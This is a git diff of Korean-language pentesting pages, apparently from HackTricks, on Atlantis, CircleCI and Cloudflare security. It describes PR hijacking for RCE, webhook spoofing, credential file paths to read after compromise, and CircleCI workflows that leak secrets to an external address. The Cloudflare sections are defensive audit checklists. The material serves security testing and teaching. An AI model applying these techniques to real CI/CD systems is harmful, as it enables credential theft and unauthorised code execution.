-If the [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
+[**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) 플래그 `allowed_overrides`가 `apply_requirements`로 구성되어 있으면, 리포가 **계획/적용 보호를 수정하여 우회할 수 있습니다**.
```yaml
repos:
- id: /.*/
@@ -282,9 +282,9 @@ apply_requirements: []
```
#### PR Hijacking
-누군가 **유효한 풀 리퀘스트에 `atlantis plan/apply` 댓글을 달면,** 원하지 않을 때 terraform이 실행됩니다.
+누군가 **`atlantis plan/apply`** 댓글을 유효한 풀 리퀘스트에 보내면, 원하지 않을 때 terraform이 실행됩니다.
-게다가, **새 커밋이 푸시될 때마다** 모든 PR에 대해 **재평가**를 요청하도록 **브랜치 보호**가 구성되어 있지 않다면, 누군가 **악의적인 구성**(이전 시나리오 확인)을 terraform 구성에 작성하고 `atlantis plan/apply`를 실행하여 RCE를 얻을 수 있습니다.
+게다가, **새 커밋이 푸시**될 때 **모든 PR를 재평가**하도록 **브랜치 보호**가 설정되어 있지 않다면, 누군가 **악의적인 구성**(이전 시나리오 확인)을 terraform 구성에 작성하고 `atlantis plan/apply`를 실행하여 RCE를 얻을 수 있습니다.
이것이 Github 브랜치 보호의 **설정**입니다:
@@ -292,19 +292,19 @@ apply_requirements: []
#### Webhook Secret
-사용 중인 **웹훅 비밀을 훔치거나** **웹훅 비밀이 사용되지 않는 경우**, **Atlantis 웹훅을 호출하고** **atlantis 명령을 직접 호출**할 수 있습니다.
+**웹훅 비밀**을 **훔치거나** **웹훅 비밀**이 사용되지 않는 경우, **Atlantis 웹훅을 호출**하고 **atlatis 명령어를 직접 호출**할 수 있습니다.
#### Bitbucket
-Bitbucket Cloud는 **웹훅 비밀을 지원하지 않습니다**. 이는 공격자가 **Bitbucket에서 요청을 스푸핑**할 수 있게 합니다. Bitbucket IP만 허용하고 있는지 확인하세요.
+Bitbucket Cloud는 **웹훅 비밀**을 **지원하지 않습니다**. 이는 공격자가 **Bitbucket에서 요청을 스푸핑**할 수 있게 합니다. Bitbucket IP만 허용하고 있는지 확인하세요.
-- 이는 **공격자**가 Bitbucket에서 오는 것처럼 보이는 **가짜 요청을 Atlantis에 보낼 수 있다는 것을 의미합니다.**
+- 이는 **공격자**가 **Bitbucket에서 오는 것처럼 보이는 가짜 요청을 Atlantis에 보낼 수 있음을 의미합니다.**
- `--repo-allowlist`를 지정하는 경우, 그들은 해당 리포지토리에 관련된 요청만 가짜로 만들 수 있으므로 그들이 할 수 있는 가장 큰 피해는 자신의 리포지토리에서 plan/apply하는 것입니다.
- 이를 방지하기 위해 [Bitbucket의 IP 주소](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html)를 허용 목록에 추가하세요 (아웃바운드 IPv4 주소 참조).
### Post-Exploitation
-서버에 접근하거나 최소한 LFI를 얻었다면, 읽어볼 만한 흥미로운 것들이 있습니다:
+서버에 접근하거나 최소한 LFI를 얻었다면, 읽어봐야 할 몇 가지 흥미로운 것들이 있습니다:
- `/home/atlantis/.git-credentials` VCS 접근 자격 증명 포함
- `/atlantis-data/atlantis.db` 더 많은 정보와 함께 VCS 접근 자격 증명 포함
@@ -321,7 +321,7 @@ Bitbucket Cloud는 **웹훅 비밀을 지원하지 않습니다**. 이는 공격
#### Don't Use `--allow-fork-prs`
-공개 리포지토리에서 실행 중이라면(위에서 권장하지 않음) `--allow-fork-prs`를 설정하지 말아야 합니다(기본값은 false) 왜냐하면 누구나 자신의 포크에서 귀하의 리포지토리로 풀 리퀘스트를 열 수 있기 때문입니다.
+공개 리포지토리에서 실행하는 경우(추천하지 않음, 위 참조) `--allow-fork-prs`를 설정하지 않아야 합니다(기본값은 false) 왜냐하면 누구나 자신의 포크에서 귀하의 리포지토리로 풀 리퀘스트를 열 수 있기 때문입니다.
#### `--repo-allowlist`
@@ -336,13 +336,13 @@ Atlantis는 `--repo-allowlist` 플래그를 통해 웹훅을 수락할 리포지
#### Protect Terraform Planning
-공격자가 악의적인 Terraform 코드를 포함한 풀 리퀘스트를 제출하는 것이 귀하의 위협 모델에 포함된다면, `terraform apply` 승인이 충분하지 않다는 것을 인식해야 합니다. [`external` 데이터 소스](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)를 사용하거나 악의적인 제공자를 지정하여 `terraform plan`에서 악의적인 코드를 실행할 수 있습니다. 이 코드는 귀하의 자격 증명을 유출할 수 있습니다.
+공격자가 악의적인 Terraform 코드를 포함한 풀 리퀘스트를 제출하는 것이 위협 모델에 포함된다면, `terraform apply` 승인이 충분하지 않다는 것을 인식해야 합니다. [`external` 데이터 소스](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)를 사용하거나 악의적인 공급자를 지정하여 `terraform plan`에서 악의적인 코드를 실행할 수 있습니다. 이 코드는 귀하의 자격 증명을 유출할 수 있습니다.
이를 방지하기 위해 다음을 수행할 수 있습니다:
-1. 제공자를 Atlantis 이미지에 포함시키거나 호스팅하고 프로덕션에서 이그레스(egress)를 거부합니다.
-2. 내부적으로 제공자 레지스트리 프로토콜을 구현하고 공용 이그레스를 거부하여 레지스트리에 대한 쓰기 접근을 제어합니다.
-3. [서버 측 리포지토리 구성](https://www.runatlantis.io/docs/server-side-repo-config.html)의 `plan` 단계를 수정하여 허용되지 않은 제공자 또는 데이터 소스 또는 허용되지 않은 사용자로부터의 PR 사용을 검증합니다. 이 시점에서 추가 검증을 추가할 수도 있습니다. 예를 들어, `plan`이 계속 진행되기 전에 PR에 대한 "좋아요"를 요구하는 것입니다. Conftest가 여기서 유용할 수 있습니다.
+1. 공급자를 Atlantis 이미지에 포함시키거나 호스팅하고 프로덕션에서 이그레스를 거부합니다.
+2. 공급자 레지스트리 프로토콜을 내부적으로 구현하고 공개 이그레스를 거부하여 레지스트리에 대한 쓰기 접근을 제어합니다.
+3. [서버 측 리포지토리 구성](https://www.runatlantis.io/docs/server-side-repo-config.html)의 `plan` 단계를 수정하여 허용되지 않은 공급자 또는 데이터 소스 또는 허용되지 않은 사용자로부터의 PR 사용을 검증합니다. 이 시점에서 추가 검증을 추가할 수도 있습니다. 예를 들어, `plan`이 계속 진행되기 전에 PR에 "좋아요"가 필요하도록 요구할 수 있습니다. Conftest가 여기서 유용할 수 있습니다.
#### Webhook Secrets
@@ -362,7 +362,7 @@ Azure DevOps는 모든 웹훅 이벤트에서 기본 인증 헤더를 전송하
웹 서비스에서 인증을 활성화하는 것이 매우 권장됩니다. `--web-basic-auth=true`를 사용하여 BasicAuth를 활성화하고 `--web-username=yourUsername` 및 `--web-password=yourPassword` 플래그를 사용하여 사용자 이름과 비밀번호를 설정하세요.
-이것들을 환경 변수로도 전달할 수 있습니다 `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` 및 `ATLANTIS_WEB_PASSWORD=yourPassword`.
+이들을 환경 변수로도 전달할 수 있습니다: `ATLANTIS_WEB_BASIC_AUTH=true`, `ATLANTIS_WEB_USERNAME=yourUsername`, `ATLANTIS_WEB_PASSWORD=yourPassword`.
### References
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index d2e3cb17a..0a4fd9ebe 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -4,12 +4,12 @@
### 기본 정보
-[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/)는 코드와 관련하여 원하는 작업과 수행 시점을 정의할 수 있는 **템플릿**을 설정할 수 있는 지속적 통합 플랫폼입니다. 이렇게 하면 예를 들어 **테스트** 또는 **배포**를 **레포 마스터 브랜치**에서 직접 **자동화**할 수 있습니다.
+[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/)는 코드와 관련하여 원하는 작업과 수행 시점을 정의하는 **템플릿**을 설정할 수 있는 지속적 통합 플랫폼입니다. 이렇게 하면 예를 들어 **레포 마스터 브랜치**에서 직접 **테스트** 또는 **배포**를 **자동화**할 수 있습니다.
### 권한
**CircleCI**는 로그인하는 **계정**과 관련된 github 및 bitbucket의 **권한을 상속**합니다.\
-내 테스트에서 확인한 바에 따르면, **github의 레포에 대한 쓰기 권한**이 있는 한, **CircleCI에서 프로젝트 설정을 관리**할 수 있습니다(새 ssh 키 설정, 프로젝트 api 키 가져오기, 새로운 CircleCI 구성으로 새로운 브랜치 만들기 등).
+내 테스트에서 확인한 바에 따르면, **github의 레포에 대한 쓰기 권한**이 있는 한, **CircleCI에서 프로젝트 설정을 관리**할 수 있습니다(새 ssh 키 설정, 프로젝트 api 키 가져오기, 새로운 CircleCI 구성으로 새로운 브랜치 생성 등).
그러나 **레포를 CircleCI 프로젝트로 변환**하려면 **레포 관리자**여야 합니다.
@@ -19,7 +19,7 @@
#### 내장 환경 변수
-CircleCI에서 실행되는 모든 컨테이너는 항상 [**문서에 정의된 특정 환경 변수**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables)인 `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` 또는 `CIRCLE_USERNAME`을 가집니다.
+CircleCI에서 실행되는 모든 컨테이너는 항상 [**문서에 정의된 특정 환경 변수**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables)를 가지고 있으며, 예를 들어 `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` 또는 `CIRCLE_USERNAME`이 있습니다.
#### 일반 텍스트
@@ -48,7 +48,7 @@ docker:
environment:
SECRET: A secret
```
-**컨테이너의 환경** 내에서 명확한 텍스트로 선언할 수 있습니다:
+컨테이너의 **환경** 내에서 명확한 텍스트로 선언할 수 있습니다:
```yaml
jobs:
build-job:
@@ -60,7 +60,7 @@ SECRET: A secret
#### 프로젝트 비밀
이것은 **프로젝트**(모든 **브랜치**에서)만 **접근할 수 있는** **비밀**입니다.\
-다음 링크에서 **선언된** 내용을 확인할 수 있습니다: _https://app.circleci.com/settings/project/github/\/\/environment-variables_
+다음에서 **선언된** 내용을 확인할 수 있습니다: _https://app.circleci.com/settings/project/github/\/\/environment-variables_
.png>)
@@ -69,19 +69,19 @@ SECRET: A secret
#### 컨텍스트 비밀
-이것은 **조직 전체**에 해당하는 비밀입니다. **기본적으로 모든 레포**는 여기 저장된 **모든 비밀**에 **접근할 수 있습니다**:
+이것은 **조직 전체**에 해당하는 비밀입니다. 기본적으로 **모든 레포**가 여기 저장된 **모든 비밀**에 **접근할 수** 있습니다:
.png>)
> [!TIP]
-> 그러나, 특정 사람에게만 비밀에 대한 접근을 허용하기 위해 **다른 그룹**(모든 구성원 대신)을 **선택할 수** 있다는 점에 유의하세요.\
-> 이는 비밀에 대한 보안을 **강화하는 가장 좋은 방법** 중 하나로, 모든 사람이 접근할 수 없도록 하고 일부 사람만 접근할 수 있도록 합니다.
+> 그러나, 특정 사람들에게만 비밀에 대한 접근을 허용하기 위해 **다른 그룹**(모든 구성원 대신)을 **선택할 수** 있습니다.\
+> 이는 비밀의 **보안을 강화하는** 가장 좋은 방법 중 하나로, 모든 사람이 접근할 수 없도록 하고 일부 사람들만 접근할 수 있도록 합니다.
### 공격
-#### 평문 비밀 검색
+#### 일반 텍스트 비밀 검색
-**VCS**(예: github)에 **접근할 수** 있다면, **각 브랜치의 각 레포**에서 `.circleci/config.yml` 파일을 확인하고 **저장된 평문 비밀**을 **검색**하세요.
+**VCS**(예: github)에 **접근할 수** 있다면, **각 레포의 각 브랜치**에서 `.circleci/config.yml` 파일을 확인하고 **저장된 잠재적 일반 텍스트 비밀**을 **검색**하세요.
#### 비밀 환경 변수 및 컨텍스트 열거
@@ -90,10 +90,10 @@ SECRET: A secret
#### 프로젝트 비밀 유출
> [!WARNING]
-> **모든** 프로젝트 및 컨텍스트 **비밀**을 **유출하기 위해서는** 전체 github 조직에서 **단 1개의 레포**에 **쓰기** 권한만 있으면 됩니다 (_그리고 귀하의 계정은 컨텍스트에 접근할 수 있어야 하지만 기본적으로 모든 사람이 모든 컨텍스트에 접근할 수 있습니다_).
+> **모든** 프로젝트 및 컨텍스트 **비밀**을 **유출**하려면 **전체 github 조직**에서 **단 1개의 레포**에 **쓰기** 권한만 있으면 됩니다 (_그리고 귀하의 계정은 컨텍스트에 접근할 수 있어야 하지만 기본적으로 모든 사람이 모든 컨텍스트에 접근할 수 있습니다_).
> [!CAUTION]
-> "**변수 가져오기**" 기능은 **다른 프로젝트에서 변수를 가져올 수** 있게 해줍니다. 따라서 공격자는 **모든 레포에서 모든 프로젝트 변수를 가져온 다음** **모두 함께 유출할 수** 있습니다.
+> "**변수 가져오기**" 기능은 **다른 프로젝트에서 변수를 가져올 수** 있게 해줍니다. 따라서 공격자는 **모든 레포에서 모든 프로젝트 변수를 가져온 다음** **모두 함께 유출**할 수 있습니다.
모든 프로젝트 비밀은 항상 작업의 env에 설정되므로, env를 호출하고 base64로 난독화하면 **워크플로우 웹 로그 콘솔**에서 비밀을 유출할 수 있습니다:
```yaml
@@ -114,7 +114,7 @@ exfil-env-workflow:
jobs:
- exfil-env
```
-만약 **웹 콘솔에 접근할 수 없지만** **레포에 접근할 수** 있고 **CircleCI가 사용되고** 있다는 것을 안다면, **매 분마다 트리거되는 워크플로우**를 **생성하여 비밀을 외부 주소로 유출**할 수 있습니다:
+웹 콘솔에 **접근할 수 없지만** **레포에 접근할 수** 있고 CircleCI가 사용된다는 것을 알고 있다면, **매 분마다 트리거되는 워크플로우**를 **생성하여 비밀을 외부 주소로 유출**할 수 있습니다:
```yaml
version: 2.1
@@ -141,9 +141,9 @@ only:
jobs:
- exfil-env
```
-#### 컨텍스트 비밀 추출
+#### 컨텍스트 비밀 유출
-**컨텍스트 이름을 지정해야 합니다** (이것은 프로젝트 비밀도 추출합니다):
+**컨텍스트 이름을 지정해야 합니다** (이것은 프로젝트 비밀도 유출합니다):
```yaml
version: 2.1
@@ -163,7 +163,7 @@ jobs:
- exfil-env:
context: Test-Context
```
-만약 **웹 콘솔에 접근할 수 없지만** **레포에 접근할 수** 있고 **CircleCI가 사용되고** 있다는 것을 안다면, **매 분마다 트리거되는 워크플로우**를 **수정하여 비밀을 외부 주소로 유출**할 수 있습니다:
+웹 콘솔에 **접근할 수 없지만** **레포에 접근할 수** 있고 CircleCI가 사용된다는 것을 알고 있다면, **매 분마다 트리거되는 워크플로우**를 **수정**하여 **비밀을 외부 주소로 유출**할 수 있습니다:
```yaml
version: 2.1
@@ -197,7 +197,7 @@ context: Test-Context
#### 클라우드로 탈출
**CircleCI**는 **자신의 빌드를 그들의 머신에서 실행하거나 자신의 머신에서 실행할 수 있는 옵션을 제공합니다**.\
-기본적으로 그들의 머신은 GCP에 위치하고 있으며, 처음에는 관련된 정보를 찾을 수 없습니다. 그러나 피해자가 **자신의 머신(잠재적으로 클라우드 환경)에서 작업을 실행하고 있다면**, **흥미로운 정보가 있는 클라우드 메타데이터 엔드포인트를 찾을 수 있습니다**.
+기본적으로 그들의 머신은 GCP에 위치해 있으며, 처음에는 관련된 정보를 찾을 수 없습니다. 그러나 피해자가 **자신의 머신(잠재적으로 클라우드 환경)에서 작업을 실행하고 있다면**, **흥미로운 정보가 있는 클라우드 메타데이터 엔드포인트를 찾을 수 있습니다**.
이전 예제에서는 모든 것이 도커 컨테이너 내에서 실행되었지만, **VM 머신을 실행하도록 요청할 수도 있습니다**(다른 클라우드 권한이 있을 수 있습니다):
```yaml
@@ -208,7 +208,7 @@ exfil-env:
machine:
image: ubuntu-2004:current
```
-또는 원격 도커 서비스에 접근할 수 있는 도커 컨테이너:
+원격 도커 서비스에 접근할 수 있는 도커 컨테이너:
```yaml
jobs:
exfil-env:
@@ -227,9 +227,9 @@ version: 19.03.13
- _https://app.circleci.com/settings/project/github/\/\/api_
- 프로젝트에 **SSH 키를 추가**할 수 있습니다.
- _https://app.circleci.com/settings/project/github/\/\/ssh_
-- 예기치 않은 프로젝트의 **숨겨진 브랜치에 크론 작업을 생성**하여 매일 모든 **컨텍스트 env** 변수를 **유출**할 수 있습니다.
+- 예기치 않은 프로젝트의 **숨겨진 브랜치에 크론 작업을 생성**하여 매일 모든 **컨텍스트 환경** 변수를 **유출**할 수 있습니다.
- 또는 브랜치에서 생성하거나 알려진 작업을 수정하여 매일 모든 컨텍스트와 **프로젝트 비밀**을 **유출**할 수 있습니다.
-- GitHub 소유자인 경우 **검증되지 않은 orb를 허용**하고 작업에서 **백도어**로 구성할 수 있습니다.
+- GitHub 소유자인 경우 **검증되지 않은 오브**를 **허용**하고 작업에서 **백도어**로 구성할 수 있습니다.
- 일부 작업에서 **명령 주입 취약점**을 찾아 **비밀**의 값을 수정하여 **명령을 주입**할 수 있습니다.
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index ce5fa0bb2..b5ff67c08 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -34,25 +34,25 @@ _구성 보안 검토를 위한 확인할 사항을 찾을 수 없었습니다._
- [ ] **`Build log`**에서 **민감한 정보**를 확인하십시오.
- [ ] 페이지에 할당된 **Github repository**에서 **민감한 정보**를 확인하십시오.
-- [ ] **workflow command injection** 또는 `pull_request_target` 손상을 통한 잠재적인 github repo 손상을 확인하십시오. 자세한 내용은 [**Github Security page**](../github-security/)를 참조하십시오.
+- [ ] **workflow command injection** 또는 `pull_request_target` 손상을 통한 잠재적인 github repo 손상을 확인하십시오. 자세한 내용은 [**Github Security page**](../github-security/)에서 확인하십시오.
- [ ] `/fuctions` 디렉토리(있는 경우)에서 **취약한 함수**를 확인하고, `_redirects` 파일(있는 경우)에서 **리디렉션**을 확인하며, `_headers` 파일(있는 경우)에서 **잘못 구성된 헤더**를 확인하십시오.
-- [ ] **코드에 접근할 수 있는 경우**, **blackbox** 또는 **whitebox**를 통해 **웹 페이지**의 **취약점**을 확인하십시오.
+- [ ] **코드에 접근할 수 있는 경우** **blackbox** 또는 **whitebox**를 통해 **웹 페이지**의 **취약점**을 확인하십시오.
- [ ] 각 페이지의 세부정보 `//pages/view/blocklist/settings/functions`에서 **`Environment variables`**에 **민감한 정보**가 있는지 확인하십시오.
-- [ ] 세부정보 페이지에서 **build command**와 **root directory**를 확인하여 페이지를 손상시킬 수 있는 **잠재적 주입**을 확인하십시오.
+- [ ] 세부정보 페이지에서 **빌드 명령**과 **루트 디렉토리**를 확인하여 페이지를 손상시킬 수 있는 **잠재적 주입**을 확인하십시오.
## **Workers**
-각 Cloudflare worker에서 확인하십시오:
+각 Cloudflare 워커에서 확인하십시오:
-- [ ] 트리거: 무엇이 worker를 트리거합니까? **사용자가 데이터를 전송**할 수 있습니까? 이 데이터는 worker에 의해 **사용**됩니까?
+- [ ] 트리거: 워커를 트리거하는 것은 무엇입니까? **사용자가 데이터를 보낼 수** 있습니까? 이 데이터는 워커에 의해 **사용**됩니까?
- [ ] **`Settings`**에서 **민감한 정보**를 포함하는 **`Variables`**를 확인하십시오.
-- [ ] **worker의 코드**를 확인하고 **취약점**을 검색하십시오(특히 사용자가 입력을 관리할 수 있는 곳에서).
+- [ ] **워커의 코드**를 확인하고 **취약점**을 검색하십시오(특히 사용자가 입력을 관리할 수 있는 곳에서).
- 제어할 수 있는 페이지를 반환하는 SSRF를 확인하십시오.
- svg 이미지 내에서 JS를 실행하는 XSS를 확인하십시오.
-- worker가 다른 내부 서비스와 상호작용할 수 있습니다. 예를 들어, worker는 입력에서 얻은 정보를 저장하는 R2 버킷과 상호작용할 수 있습니다. 이 경우, worker가 R2 버킷에 대해 어떤 기능을 가지고 있는지, 그리고 사용자의 입력으로부터 어떻게 남용될 수 있는지를 확인해야 합니다.
+- 워커가 다른 내부 서비스와 상호작용할 수 있습니다. 예를 들어, 워커는 입력에서 얻은 정보를 저장하는 R2 버킷과 상호작용할 수 있습니다. 이 경우, 워커가 R2 버킷에 대해 어떤 기능을 가지고 있으며 사용자의 입력으로부터 어떻게 남용될 수 있는지 확인해야 합니다.
> [!WARNING]
-> 기본적으로 **Worker는** `..workers.dev`와 같은 URL을 부여받습니다. 사용자는 이를 **서브도메인**으로 설정할 수 있지만, 알고 있다면 항상 그 **원래 URL**로 접근할 수 있습니다.
+> 기본적으로 **워커는** `..workers.dev`와 같은 URL을 부여받습니다. 사용자는 이를 **서브도메인**으로 설정할 수 있지만, 알고 있다면 항상 그 **원래 URL**로 접근할 수 있습니다.
## R2
@@ -71,7 +71,7 @@ TODO
## Security Center
- [ ] 가능하다면 **`Security Insights`** **스캔**과 **`Infrastructure`** **스캔**을 실행하십시오. 이들은 **보안** 측면에서 흥미로운 정보를 **강조**할 것입니다.
-- [ ] 보안 잘못 구성된 사항과 흥미로운 정보를 **확인**하십시오.
+- [ ] 보안 잘못 구성된 정보와 흥미로운 정보를 **확인**하십시오.
## Turnstile
@@ -88,7 +88,7 @@ cloudflare-zero-trust-network.md
> [!NOTE]
> [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/)와 달리, [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/)는 본질적으로 정적입니다 — 문자열 대체 작업이나 정규 표현식을 **지원하지 않습니다**. 그러나 URL 일치 동작 및 런타임 동작에 영향을 미치는 URL 리디렉션 매개변수를 구성할 수 있습니다.
-- [ ] **리디렉션**의 **표현식**과 **요구 사항**이 **의미가 있는지** 확인하십시오.
+- [ ] **리디렉션**에 대한 **표현식**과 **요구 사항**이 **합리적인지** 확인하십시오.
- [ ] 또한 **흥미로운 정보**를 포함하는 **민감한 숨겨진 엔드포인트**를 확인하십시오.
## Notifications
@@ -118,14 +118,14 @@ cloudflare-zero-trust-network.md
## Manage Account
-- [ ] **`Billing` -> `Payment info`**에서 **신용 카드의 마지막 4자리**, **만료** 시간 및 **청구 주소**를 확인할 수 있습니다.
+- [ ] **`Billing` -> `Payment info`**에서 **신용 카드**의 **마지막 4자리**, **만료** 시간 및 **청구 주소**를 확인할 수 있습니다.
- [ ] **`Billing` -> `Subscriptions`**에서 계정에 사용된 **요금제 유형**을 확인할 수 있습니다.
-- [ ] **`Members`**에서 계정의 모든 구성원과 그들의 **역할**을 확인할 수 있습니다. 요금제 유형이 Enterprise가 아닌 경우, 두 가지 역할만 존재합니다: Administrator와 Super Administrator. 그러나 사용된 **요금제가 Enterprise**인 경우, [**더 많은 역할**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/)을 사용하여 최소 권한 원칙을 따를 수 있습니다.
+- [ ] **`Members`**에서 계정의 모든 **구성원**과 그들의 **역할**을 확인할 수 있습니다. 요금제가 Enterprise가 아닌 경우, 두 가지 역할만 존재합니다: Administrator와 Super Administrator. 그러나 사용된 **요금제가 Enterprise**인 경우, [**더 많은 역할**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/)을 사용하여 최소 권한 원칙을 따를 수 있습니다.
- 따라서 가능할 때마다 **Enterprise 요금제**를 사용하는 것이 **권장됩니다**.
-- [ ] Members에서 **2FA가 활성화된** **구성원**을 확인할 수 있습니다. **모든** 사용자는 이를 활성화해야 합니다.
+- [ ] 구성원에서 **2FA가 활성화된** **구성원**을 확인할 수 있습니다. **모든** 사용자는 이를 활성화해야 합니다.
> [!NOTE]
-> 다행히도 역할 **`Administrator`**는 구성원 관리를 위한 권한을 부여하지 않습니다 (**권한 상승이나** 새로운 구성원 초대 불가).
+> 다행히도 역할 **`Administrator`**는 멤버십을 관리할 수 있는 권한을 부여하지 않습니다 (**권한 상승이나** 새로운 구성원 초대 불가).
## DDoS Investigation
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 098cadea8..21b6634fa 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -13,7 +13,7 @@ Cloudflare에 구성된 각 TLD에는 구성할 수 있는 **일반 설정 및
### 분석
-- [ ] **`Security`**에서 **Rate limiting**이 있는지 확인하기
+- [ ] **`Security`**에서 **속도 제한**이 있는지 확인하기
### DNS
@@ -22,7 +22,7 @@ Cloudflare에 구성된 각 TLD에는 구성할 수 있는 **일반 설정 및
- [ ] **프록시되지 않은** 웹 페이지 확인하기
- [ ] CNAME 또는 IP 주소로 **직접 접근할 수 있는** **프록시된 웹 페이지** 확인하기
- [ ] **DNSSEC**가 **활성화**되어 있는지 확인하기
-- [ ] **모든 CNAME에서** **CNAME Flattening**이 **사용**되고 있는지 확인하기
+- [ ] **모든 CNAME에서** **CNAME 평탄화**가 **사용**되고 있는지 확인하기
- 이는 **서브도메인 탈취 취약점**을 **숨기고** 로드 시간을 개선하는 데 유용할 수 있습니다.
- [ ] 도메인이 [**스푸핑에 취약하지 않은지**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) 확인하기
@@ -38,7 +38,7 @@ TODO
#### **개요**
-- [ ] **SSL/TLS 암호화**는 **Full** 또는 **Full (Strict)**이어야 합니다. 다른 경우에는 어느 시점에서 **명확한 텍스트 트래픽**이 전송됩니다.
+- [ ] **SSL/TLS 암호화**는 **전체** 또는 **전체 (엄격)**이어야 합니다. 다른 경우에는 어느 시점에서 **명확한 텍스트 트래픽**이 전송됩니다.
- [ ] **SSL/TLS 추천기**가 활성화되어야 합니다.
#### 엣지 인증서
@@ -52,30 +52,30 @@ TODO
### **보안**
-- [ ] **`WAF`** 섹션에서 **방화벽** 및 **rate limiting 규칙이 사용되고 있는지** 확인하는 것이 흥미롭습니다.
-- **`Bypass`** 작업은 요청에 대해 **Cloudflare 보안** 기능을 **비활성화**합니다. 사용해서는 안 됩니다.
-- [ ] **`Page Shield`** 섹션에서 페이지가 사용되는 경우 **활성화**되어 있는지 확인하는 것이 좋습니다.
-- [ ] **`API Shield`** 섹션에서 Cloudflare에 노출된 API가 있는 경우 **활성화**되어 있는지 확인하는 것이 좋습니다.
+- [ ] **`WAF`** 섹션에서 **방화벽** 및 **속도 제한 규칙이 사용되고 있는지** 확인하는 것이 흥미롭습니다.
+- **`우회`** 작업은 요청에 대해 **Cloudflare 보안** 기능을 **비활성화**합니다. 사용해서는 안 됩니다.
+- [ ] **`페이지 방패`** 섹션에서 페이지가 사용되는 경우 **활성화**되어 있는지 확인하는 것이 좋습니다.
+- [ ] **`API 방패`** 섹션에서 Cloudflare에 노출된 API가 있는 경우 **활성화**되어 있는지 확인하는 것이 좋습니다.
- [ ] **`DDoS`** 섹션에서 **DDoS 보호**를 활성화하는 것이 좋습니다.
-- [ ] **`Settings`** 섹션에서:
-- [ ] **`Security Level`**이 **중간** 이상인지 확인하기
-- [ ] **`Challenge Passage`**가 최대 1시간인지 확인하기
-- [ ] **`Browser Integrity Check`**가 **활성화**되어 있는지 확인하기
-- [ ] **`Privacy Pass Support`**가 **활성화**되어 있는지 확인하기
+- [ ] **`설정`** 섹션에서:
+- [ ] **`보안 수준`**이 **중간** 이상인지 확인하기
+- [ ] **`도전 통과`**가 최대 1시간인지 확인하기
+- [ ] **`브라우저 무결성 검사`**가 **활성화**되어 있는지 확인하기
+- [ ] **`개인정보 통과 지원`**이 **활성화**되어 있는지 확인하기
#### **CloudFlare DDoS 보호**
-- 가능하다면 **Bot Fight Mode** 또는 **Super Bot Fight Mode**를 활성화하세요. 프로그램적으로 접근하는 API를 보호하는 경우 (예: JS 프론트 엔드 페이지에서) 이 기능을 활성화할 수 없을 수 있습니다.
-- **WAF**에서: **URL 경로**별로 **rate limits**를 생성하거나 **검증된 봇**에 대해 (Rate limiting 규칙), 또는 IP, 쿠키, 리퍼러 등을 기반으로 **접근 차단**을 할 수 있습니다. 따라서 웹 페이지에서 오지 않거나 쿠키가 없는 요청을 차단할 수 있습니다.
-- 공격이 **검증된 봇**에서 발생하는 경우, 최소한 **봇에 대한 rate limit**을 추가하세요.
-- 공격이 **특정 경로**에 대한 경우, 예방 메커니즘으로 해당 경로에 **rate limit**을 추가하세요.
-- **WAF**의 **Tools**에서 IP 주소, IP 범위, 국가 또는 ASN을 **화이트리스트**할 수 있습니다.
-- **Managed rules**가 취약점 악용 방지에 도움이 될 수 있는지 확인하세요.
-- **Tools** 섹션에서 특정 IP 및 **사용자 에이전트**에 대해 **차단하거나 도전 과제를 제공**할 수 있습니다.
-- DDoS에서 **일부 규칙을 더 제한적으로 변경**할 수 있습니다.
-- **Settings**: **Security Level**을 **High**로 설정하고 **Under Attack**으로 설정하세요. 공격을 받고 있고 **Browser Integrity Check가 활성화**되어 있어야 합니다.
-- Cloudflare Domains -> Analytics -> Security -> **rate limit**이 활성화되어 있는지 확인하세요.
-- Cloudflare Domains -> Security -> Events -> **탐지된 악성 이벤트**를 확인하세요.
+- 가능하다면 **봇 전투 모드** 또는 **슈퍼 봇 전투 모드**를 활성화하세요. 프로그램적으로 접근하는 API를 보호하는 경우 (예: JS 프론트 엔드 페이지에서) 이 기능을 활성화할 수 없을 수 있습니다.
+- **WAF**에서: **URL 경로**별로 **속도 제한**을 생성하거나 **검증된 봇**에 대해 (속도 제한 규칙), 또는 IP, 쿠키, 리퍼러 등을 기반으로 **접근 차단**을 할 수 있습니다. 따라서 웹 페이지에서 오지 않거나 쿠키가 없는 요청을 차단할 수 있습니다.
+- 공격이 **검증된 봇**에서 발생하는 경우, 최소한 **봇에 대한 속도 제한**을 추가하세요.
